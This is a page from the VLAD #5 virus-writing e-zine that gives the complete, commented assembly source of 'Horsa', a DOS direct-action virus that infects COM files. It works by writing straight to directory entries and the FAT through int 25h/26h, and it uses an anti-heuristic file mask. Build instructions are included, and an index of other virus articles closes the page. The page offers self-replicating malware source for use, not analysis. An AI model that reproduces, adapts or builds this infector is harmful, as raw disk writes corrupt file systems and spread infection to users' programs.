Virus Labs & Distribution
VLAD #5 - Horsa


;                       Horsa Virus
;                           by
;                       Qark [VLAD]
;
; This virus is a direct action parasitic com infector.  The interesting
; thing about this virus as compared to others is that it uses its own file
; system to infect the files.  It uses direct disk access with int25/26
; to use the directory entries, file allocation table and clusters to do
; its work.  It works on both 12bit and 16bit FAT's.
;
; If you are interested in how TBSCAN does its 'OWN' filesystem, then this
; is the source code for you.  Infact, this is slightly more complicated
; because writing is _much_ harder than reading.
;
; Unlike TBSCAN, infection by Horsa is very slow.  This is especially
; noticable on floppy disks where it takes forever to infect any semi-large
; file.  This is because Horsa uses no buffering whatsoever, and thus ends
; up reading some sectors, such as some of the fat, repeatedly.
;
; There is one known error that is present only on floppy disks.  This will
; pop up one in every 256 clusters.  The reason for this is that 12bit fat
; entries take up 1.5bytes and therefore cross a sector (512bytes).  To fix
; the error just change it so that the virus reads/writes two sectors instead
; of one.  I didn't include it myself because the virus is slow enough as it
; is.
;
; This virus is compiled using a86.  To create the .com file prepend a 16
; byte comfile full of NOPs to the .bin produced by a86.
;

        org     0


        cld
        mov     di,0ffh
        push    cs              ;This is the cs we will return to
        inc     di              ;DI=100h
        push    di              ;Now CS:100h is on the stack, to retf to
        db      0b8h
old2    dw      020cdh
        stosw
        db      0b0h
old1    db      0
        stosb

        push    ds              ;Save DS so we can return the PSP seg
        
        call    next            ;IP onto stack
next:
        pop     ax              ;IP into AX
        sub     ax,offset next  ;AX=Delta offset
        xor     dx,dx           ;Zero DX for division
        mov     cx,16           ;CX=Paragraph size (To convert delta into seg)
        div     cx              ;Divide delta by 16 to round off segment
        or      dx,dx           ;Remainder means we weren't aligned properly
        jz      ok_offset
        jmp     virus_exit
ok_offset:
        mov     cx,cs           ;CX=CS
        add     ax,cx           ;AX=New CS
        mov     ds,ax           ;Reset DS to new segment
        mov     es,ax           ;and ES
        push    ax              ;Put New CS on stack so we can retf to it
        mov     di,offset realign
        push    di              ;Put 'realign' on stack

        retf                    ;Here we return to 'realign'.. but CS:0
                                ;will point to the virus start.
realign:
        mov     ah,1ah          ;Set DTA to our storage area.
        mov     dx,offset dta
        int     21h

        mov     ah,4eh          ;Find first
        jmp     short ffirst
fnext:
        mov     ah,4fh
ffirst:
        xor     cx,cx
        mov     dx,offset wild
        int     21h
        jnc     test_time
        jmp     virus_exit
test_time:
        mov     ax,word ptr time
        and     ax,1fh
        cmp     ax,10h
        je      fnext

        and     byte ptr drive,3fh ;First six bits are drive, remove the rest
        mov     dl,byte ptr drive
        mov     ah,32h          ;Get DPB into buffer
        int     21h

        ;DS:BX=DPB Address, The DPB is full of disk information.
        
        mov     si,bx
        mov     di,offset DPB
        mov     cx,21h
        rep     movsb           ;Move the DPB to our buffer
        push    cs
        pop     ds

        ;All the data we need to begin is now setup.
        cmp     word ptr cluster,0
        jne     subdirectory
        
        ;The root directory is a special circumstance.
        mov     ax,word ptr count
        mov     cx,20h
        mul     cx

        mov     cx,512
        div     cx

        mov     word ptr tempoff,dx
        mov     word ptr csect,ax
        mov     word ptr csect+2,0
        mov     ax,word ptr rootdir
        add     word ptr csect,ax

        jmp     read_direntry
subdirectory:
        ;Now initialise the temporary variables.
        mov     ax,word ptr count
        mov     word ptr tempcount,ax
        mov     ax,word ptr cluster
        mov     word ptr tempclust,ax
dir_clust:
        ;Calculate in bytes the offset of the directory entry for the file
        ;we are infecting.
        mov     ax,word ptr tempcount   ;AX=Direntry count from current clust
        mov     cl,20h                  ;The size of a directory entry is 20h
        xor     ch,ch
        mul     cx

        ;Calculate the number of bytes per cluster.
        mov     bl,byte ptr sect_cl
        inc     bl
        xor     bh,bh                   ;BX=Number of sectors per cluster.

        mov     cl,9                    ;Shift left by 9 = Mul by 512
                                        ;There are 512 bytes in a sector.
        shl     bx,cl                   ;Now BX=Bytes per cluster.

        ;DX:AX=Offset of the file directory entry from the beginning of the
        ;directory listing.  Divide that by bytes per cluster to determine if
        ;the directory entry we need is in the current cluster.
        div     bx

        ;If AX is not zero, then directory entry is in another cluster.
        or      ax,ax
        jz      get_clust

        ;The directory entry is in another cluster, so we'll calculate
        ;the number of directory entries per cluster and subtract that from
        ;the temporary count.  Then we will seek to the next cluster and try
        ;again.
        mov     cx,512                  ;512 bytes in a sector.
        mov     al,byte ptr sect_cl
        xor     ah,ah
        inc     ax                      ;AX=Sectors per cluster.
        mul     cx                      ;DX:AX=bytes per cluster
        mov     cx,20h                  ;20h bytes for a directory entry.
        div     cx                      ;AX=dir entries per cluster
        sub     word ptr tempcount,ax   ;Update the directory count.
        call    clust_2_clust           ;Goto the next cluster.
        jmp     dir_clust

get_clust:
        ;DX=Offset within cluster of the directory entry.
        ;We will use this to calculate the sector within the cluster the dir
        ;entry is located.  This is done by dividing the byte offset by
        ;bytes per sector.
        mov     ax,dx                   ;AX=Offset of directory entry
        xor     dx,dx
        mov     cx,512
        div     cx                      ;Divide so we get sector/offset

        ;The remainder is the offset within the sector, the answer is the
        ;sector number within the cluster.
        mov     word ptr tempsect,ax    ;AX=sector within cluster
        mov     word ptr tempoff,dx     ;DX=offset within that sector

        ;Now update our variables so that we can read in the sector

        mov     ax,word ptr tempclust
        call    clust_2_sect

        mov     ax,word ptr csect
        mov     dx,word ptr csect+2

        ;DX:AX=Sector of cluster start, we'll add the extras.
        add     ax,word ptr tempsect
        adc     dx,0

        ;Update it.
        mov     word ptr csect,ax
        mov     word ptr csect+2,dx
read_direntry:
        ;Read in the sector of the directory entry.
        call    diskread
        
        ;Point SI to the directory data
        mov     si,offset buffer
        add     si,word ptr tempoff

        ;Set time marker in directory sector to write it back.
        mov     al,byte ptr [si+16h]
        and     al,0e0h
        or      al,10h
        mov     byte ptr [si+16h],al

        ;Save original file size
        push    word ptr [si+1ch]
        pop     word ptr tempsize

        ;Round up original file size to 16, and add virus size
        ;then put new file size in directory data.
        mov     ax,word ptr [si+1ch]
        add     ax,15
        and     ax,0fff0h
        add     ax,offset end_virus
        mov     word ptr [si+1ch],ax
        
        ;Move the directory entry information into 'dir_entry'
        mov     di,offset dir_entry
        mov     cx,20h
        rep     movsb                   ;The information has now been stored.
        
        ;Write the fixed up directory entry back to the disk.
        call    diskwrite

        ;Get first cluster of the file and read it into buffer
        mov     ax,word ptr fcluster    ;AX=First cluster of file
        call    clust_2_sect
        call    diskread

        ;Store first 3 file bytes in old2/1
        mov     si,offset buffer
        mov     di,offset old2
        movsw
        mov     di,offset old1
        movsb

        ;Now put the jump in the buffer
        sub     si,3
        mov     byte ptr [si],0e9h      ;JMP opcode

        ;Round original file size to 16
        mov     ax,word ptr tempsize
        add     ax,15
        and     ax,0fff0h
        mov     word ptr tempsize,ax

        ;Fixup as a jump and put in the buffer
        sub     ax,3
        mov     word ptr [si+1],ax
        
        ;Write the virus modified first file sector back to disk
        call    diskwrite

        ;The rest of the code is dedicated to seeking to the 
        ;end and writing the virus body.
                
        mov     ax,word ptr fcluster
        mov     word ptr tempclust,ax

        ;Calculate the number of bytes per cluster.
        mov     bl,byte ptr sect_cl
        inc     bl
        xor     bh,bh                   ;BX=Number of sectors per cluster.

        mov     cl,9                    ;Shift left by 9 = Mul by 512
                                        ;There are 512 bytes in a sector.
        shl     bx,cl                   ;Now BX=Bytes per cluster.

        mov     ax,word ptr tempsize
find_last_clust:
        cmp     ax,bx                   ;CMP filesize,clusterbytes
        jb      sector_by_sector
        sub     ax,bx                   ;SUB filesize,clusterbytes
        mov     word ptr tempsize,ax
        call    clust_2_clust
        jmp     find_last_clust
sector_by_sector:

        mov     word ptr tempsize,ax

        mov     ax,word ptr tempclust
        call    clust_2_sect

        xor     dx,dx
        mov     cx,512
        mov     ax,word ptr tempsize
        div     cx

        mov     word ptr tempsect,ax

        add     word ptr csect,ax
        adc     word ptr csect+2,0
        
        mov     word ptr tempsize,dx

        call    diskread

        mov     di,offset buffer
        add     di,word ptr tempsize
        xor     si,si
        mov     cx,512
        sub     cx,word ptr tempsize
        rep     movsb
        call    diskwrite

        ;;;;    all seems alright up until this point..
        inc     word ptr tempsect
        add     word ptr csect,1
        adc     word ptr csect+2,0

        mov     ax,512
        sub     ax,word ptr tempsize
        mov     word ptr tempsize,ax

next_file_sector:
        
        xor     bx,bx
        mov     bl,byte ptr sect_cl
        inc     bx
        cmp     bx,word ptr tempsect
        jbe     next_file_cluster
        inc     word ptr tempsect
        mov     si,word ptr tempsize
        mov     di,offset buffer
        mov     cx,512
        rep     movsb
        call    diskwrite
        add     word ptr csect,1
        adc     word ptr csect+2,0

        add     word ptr tempsize,512
        cmp     word ptr tempsize,offset end_virus
        jb      next_file_sector
        jmp     virus_exit
next_file_cluster:
        mov     word ptr tempsect,0     ;reset sector count to zero

        ;this code updates the fat to add another cluster

        mov     ax,word ptr fatsect
        dec     ax
find_free_cluster:
        inc     ax
        mov     word ptr csect,ax
        mov     word ptr csect+2,0

        call    diskread

        mov     si,offset buffer

        cmp     word ptr clusts,0ff7h
        jbe     find12free
        jmp     find16free

        ;this is a lame jump to stop the >128 byte jump error popping up
freejump:
        jmp     no_free
;%%%%%%%%%%%%% writing to a 12bit fat routines %%%%%%%% 
find12free:
        ;Search for a free 12 bit cluster
        mov     ax,word ptr csect
        sub     ax,word ptr fatsect
        mov     cx,512
        mul     cx
        mov     cx,2
        mul     cx
        mov     cx,3
        div     cx
        add     si,dx
free12_loop:
        cmp     si,offset buffer+511
        jae     freejump
        lodsw
        test    ax,0fffh
        jz      free12_1
        dec     si
        cmp     si,offset buffer+511
        jae     freejump
        lodsw
        test    ax,0fff0h
        jz      free12_2
        jmp     free12_loop
free12_1:
        or      ax,0fffh                ;mark as the end of chain
        sub     si,2
        mov     word ptr [si],ax
        call    diskwrite
        
        mov     ax,word ptr csect
        sub     ax,word ptr fatsect
        mov     cx,512
        mul     cx
        sub     si,offset buffer
        add     ax,si
        mov     cx,2
        mul     cx
        mov     cx,3
        div     cx
        
        mov     word ptr tempclust2,ax
        jmp     find_orig_Fat12
free12_2:
        or      ax,0fff0h               ;mark as the end of chain
        sub     si,2
        mov     word ptr [si],ax
        call    diskwrite
        
        mov     ax,word ptr csect
        sub     ax,word ptr fatsect
        mov     cx,512
        mul     cx
        sub     si,offset buffer
        add     ax,si
        mov     cx,2
        mul     cx
        mov     cx,3
        div     cx
        or      ax,1
        mov     word ptr tempclust2,ax
find_orig_Fat12:
        ;seek to previous fat entry and write new cluster in its place.
        mov     ax,word ptr fatsect             ;Sector number of the fat
        mov     word ptr csect,ax
        mov     word ptr csect+2,0

        mov     ax,word ptr tempclust
        mov     cx,3
        mul     cx                              ;Mul by 3
        mov     cx,2
        div     cx                              ;Divide by 2
        xor     dx,dx

        mov     cx,512                          ;Divide by 512 to work out
                                                ;which sector the next
                                                ;cluster is in.
        div     cx

        ;DX=Offset into sector of fat entry. AX=Sector.
        mov     si,dx                           ;SI=offset into sector
        add     word ptr csect,ax
        adc     word ptr csect+2,0

        ;Read in the fat sector we need.
        call    diskread

        ;Get the cluster number from the fat
        add     si,offset buffer
        mov     ax,word ptr [si]                ;AX=cluster number

        test    word ptr tempclust,1
        jz      evenfat
        mov     bx,word ptr tempclust2
        mov     cl,4
        shl     bx,cl
        and     ax,0fh
        or      ax,bx
        
        jmp     newcluster12
evenfat:
        mov     bx,word ptr tempclust2
        and     ax,0f000h
        or      ax,bx
newcluster12:
        mov     word ptr [si],ax
        call    diskwrite
        
        ;seek to new 'free' entry
        call    clust_2_clust
        mov     ax,word ptr tempclust
        call    clust_2_sect
        
        jmp     next_file_sector
;%%%%%%%%%%%%% writing to a 16bit fat routines %%%%%%%% 
find16free:
        ;search for a free 16 bit cluster
        lodsw
        or      ax,ax
        jz      foundfree16
        cmp     si,offset buffer+512
        jb      find16free
        jmp     no_free
foundfree16:                    ;found a free cluster
        sub     si,2
        mov     word ptr [si],0ffffh    ;mark it as last in the chain
        call    diskwrite               ;write it

        ;now convert it into an actual cluster number
        sub     si,offset buffer
        mov     ax,word ptr csect
        sub     ax,word ptr fatsect
        mov     cx,512
        mul     cx                      ;convert sector into byte offset
        add     ax,si                   ;dx:ax = offset of entry from start
        adc     dx,0
        mov     cx,2                    ;divide by 2 because 16bit
        div     cx

        mov     word ptr tempclust2,ax          ;AX=New added cluster

        ;Seek to the previous last fat entry and write in the new entry
        ;we just found.
        mov     ax,word ptr fatsect             ;Sector number of the fat
        mov     word ptr csect,ax
        mov     word ptr csect+2,0
        
        mov     ax,word ptr tempclust           ;Current cluster
        mov     cx,2                            ;16bit fat, so mul by 2
        mul     cx

        mov     cx,512                          ;Divide by 512 to work out
                                                ;which sector the next
                                                ;cluster is in.
        div     cx

        mov     si,dx                           ;SI=offset into sector
        add     word ptr csect,ax
        adc     word ptr csect+2,0

        call    diskread

        add     si,offset buffer
        mov     ax,word ptr tempclust2
        mov     word ptr [si],ax
        
        mov     word ptr tempclust,ax

        call    diskwrite

        ;seek to new 'free' entry
        ;call    clust_2_clust
        mov     ax,word ptr tempclust
        call    clust_2_sect
        
        jmp     next_file_sector
no_free:
        mov     ax,word ptr csect
        jmp     find_free_cluster

        
virus_exit:
;Do an int 21h 0dh to flush dos's buffers, that way when it next does
;a directory listing it still won't show the file as uninfected.
        mov     ah,0dh
        int     21h

        pop     ds
        push    ds
        pop     es

        mov     dx,80h          ;reset the DTA
        mov     ah,1ah
        int     21h

        retf

wild    db      '*mand.com',0           ;Anti-heuristic version of *.com

;-------------------------------------------------
;----------------- Procedures --------------------
;-------------------------------------------------
Clust_2_Clust   Proc    Near
;Gets the cluster from tempclust and reads the fat to update tempclust
;to the next cluster in the chain.
;Destroys tempoff.

        push    ax
        push    bx
        push    cx
        push    dx
        push    si

        mov     ax,word ptr fatsect             ;Sector number of the fat
        mov     word ptr csect,ax
        mov     word ptr csect+2,0

        cmp     word ptr clusts,0ff7h           ;More than 0ff6h clusters
        ja      fat16bit                        ;means 16bit fat, otherwise
                                                ;it's a 12bit fat.

        ;12bit fat entries are 1.5 bytes long so they must be multiplied
        ;by 3 and divided by two.  ie multiplied by 1.5
        mov     ax,word ptr tempclust
        mov     cx,3
        mul     cx                              ;Mul by 3
        mov     cx,2
        div     cx                              ;Divide by 2
        xor     dx,dx
        jmp     calc_fat_offset

fat16bit:
        ;Calculate the byte offset of the FAT entry of the current cluster.
        mov     ax,word ptr tempclust           ;Current cluster
        mov     cx,2                            ;16bit fat, so mul by 2
        mul     cx

calc_fat_offset:
        ;Convert offset into sectors.
        mov     cx,512                          ;Divide by 512 to work out
                                                ;which sector the next
                                                ;cluster is in.
        div     cx

        ;DX=Offset into sector of fat entry. AX=Sector.
        mov     word ptr tempoff,dx             ;DX=offset into sector
        add     word ptr csect,ax
        adc     word ptr csect+2,0

        ;Read in the fat sector we need.
        call    diskread

        ;Get the cluster number from the fat
        mov     si,offset buffer
        add     si,word ptr tempoff
        mov     ax,word ptr [si]                ;AX=cluster number

        cmp     word ptr clusts,0ff7h           ;Check for 12/16bit fat
        ja      setclust

        ;With a 12bit fat, the 1.5byte entries mean that you get 0.5 bytes
        ;too much information that needs removing.  This varies between
        ;odd/even cluster numbers.
        test    word ptr tempclust,1
        jz      evencluster
        mov     cl,4
        shr     ax,cl
        jmp     setclust
evencluster:
        and     ax,0fffh
setclust:
        mov     word ptr tempclust,ax           ;Save it

        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret
Clust_2_Clust   Endp

Clust_2_Sect    Proc    Near
;Gets the cluster in AX and returns the sector in 'csect'.
        push    ax
        push    bx
        push    cx
        push    dx

        ;Gets the total number of sectors for that cluster.
        mov     cl,byte ptr sect_cl
        inc     cl
        xor     ch,ch                   ;CX=sectors per cluster
        xor     dx,dx
        dec     ax                      ;Because it starts at clust 2
        dec     ax
        mul     cx

        ;DX:AX=Number of sectors from that start of the data area.
        ;Now we'll add the number of sectors up to the start of the data
        ;area (this is supplied for us by the DPB), this will give us the
        ;actual logical sector of the cluster.
        add     ax,word ptr clust2
        adc     dx,0

        mov     word ptr csect,ax
        mov     word ptr csect+2,dx

        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret
Clust_2_Sect    Endp

DiskWrite       Proc    Near
        push    ax
        push    bx
        push    cx
        push    dx

        mov     al,byte ptr drive
        dec     al
        mov     cx,-1
        mov     word ptr csblock,cs
        mov     bx,offset cblock
        int     26h
        pop     ax

        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret
DiskWrite       Endp

DiskRead        Proc    Near
        push    ax
        push    bx
        push    cx
        push    dx

        mov     al,byte ptr drive
        dec     al
        mov     cx,-1
        mov     word ptr csblock,cs
        mov     bx,offset cblock
        int     25h
        pop     ax

        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret
cblock:
csect   dd      0
        dw      1
        dw      offset buffer
csblock dw      0
DiskRead        Endp
End_virus:
;-------------------------------------------------
;-------------------- Data -----------------------
;-------------------------------------------------
;Temporary storage variables for use by the virus
tempclust       dw      0
tempclust2      dw      0
tempsect        dw      0
tempoff         dw      0
tempcount       dw      0
tempsize        dw      0

DTA:
drive   db      0
        db      11 dup (0)      ;12
        db      0               ;13
count   dw      0               ;15
cluster dw      0               ;17
        dw      0               ;19
        dw      0               ;21
        db      0               ;22
time    dw      0               ;24
        dw      0               ;26
        dd      0               ;30
fname   db      13 dup (0)      ;43

DPB:
        db      0               ;drive
        db      0               ;unit in drive ?
        dw      0               ;bytes per sector
sect_cl db      0               ;sectors per cluster
shiftcl db      0               ;cluster shift
fatsect dw      0               ;sectors before fat
        db      0               ;number of fats
        dw      0               ;number of root dir entries
clust2  dw      0               ;number of cluster2
clusts  dw      0               ;total clusters + 1
        dw      0               ;sectors per fat
rootdir dw      0               ;root dir sector
        dd      0               ;address of device driver header
        db      0               ;media id byte
        db      0               ;disk accessed ?
        dd      0               ;dpb pointer
frclust dw      0               ;cluster for free space search
        dw      0               ;free clusters on drive

Dir_Entry:
filename        db      8 dup (0)
extension       db      3 dup (0)
attribute       db      0
                db      10 dup (0)
timestamp       dw      0
datestamp       dw      0
fcluster        dw      0
fsize           dd      0

buffer  db      512 dup (0)
- VLAD #5 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

AIH
ARTICLE.2_2       Neuroquila disasm
ARTICLE.2_3       Uruguay#3 disasm
ARTICLE.2_4       Immortal Riot
ARTICLE.2_5       Fog.doc
ARTICLE.2_6       Fog.asm
ARTICLE.2_7       AP-Poly

ARTICLE.3_1      

Dying Oath
ARTICLE.3_2       Win API tutorial
ARTICLE.3_3       Poly primer
ARTICLE.3_4       NoMut v0.01
ARTICLE.3_5       Demon3b
ARTICLE.3_6       SDFEe20 source
ARTICLE.3_7       ZL 2.0 source

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Horsa
ARTICLE.4_3       Ph33r
ARTICLE.4_4       Wintiny
ARTICLE.4_5       Midnight
ARTICLE.4_6       Arme Stoevlar
ARTICLE.4_7       Small Virus

ARTICLE.5_1      

Alive
ARTICLE.5_2       Winlamer2
ARTICLE.5_3       Lady Death
ARTICLE.5_4       H8urNMEs
ARTICLE.5_5       Sepboot
ARTICLE.5_6       Fame
ARTICLE.5_7       Int Patch

About VLAD - Links - Contact Us - Main